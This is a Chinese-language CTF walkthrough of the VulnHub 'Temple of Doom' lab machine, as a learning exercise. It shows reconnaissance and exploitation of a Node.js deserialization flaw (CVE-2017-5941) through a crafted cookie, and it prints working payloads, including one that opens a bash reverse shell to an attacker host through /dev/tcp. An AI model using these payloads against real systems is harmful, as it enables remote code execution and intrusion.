VulnHub-Temple of Doom: 1-靶机渗透学习

靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/ 靶机难度:中级(CTF) 靶机发布日期:2018年6月8日 靶机描述: 由https://twitter.com/0katz创建的CTF ]难度:简单/中级...

靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/

靶机难度:中级(CTF)

靶机发布日期:2018年6月8日

靶机描述:

由https://twitter.com/0katz创建的CTF

]难度:简单/中级

在VirtualBox中测试

注意:2种扎根方法

目标:得到root权限&找到flag.txt

作者:DXR嗯嗯呐


信息收集

nmap扫描IP

nmap端口扫描

22 ssh

666 Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。

访问80端口

没有获得有用的信息,使用dirb,nikto扫描,结果也没发现什么

Node.js远程命令执行漏洞

不知道怎么办了,使用burpsuite抓一下包看看吧


看到了cookie的值可能是一个base64编码

界面获得一个json字符串感觉格式不完整,修改一下

解码后

{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D

修改后

重新编码提交,获得一个界面

加上cookie使用dirb扫描依然失败,看了看老人们的,发现这里是考Node.js反序列化远程代码执行(CVE-2017-5941)这个漏洞

大佬写的很具体

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}


  • child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
  • child_process.exec 使用子进程exec执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。

编译后

eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=

获得用户名 nodeadmin

直接使用bash获得反弹shell

{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.56.3/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}

  • 发表于 2021-04-15 21:53
  • 阅读 ( 154 )
  • 分类:互联网

0 条评论

请先 登录 后评论
雨天
雨天

688 篇文章

你可能感兴趣的文章

相关问题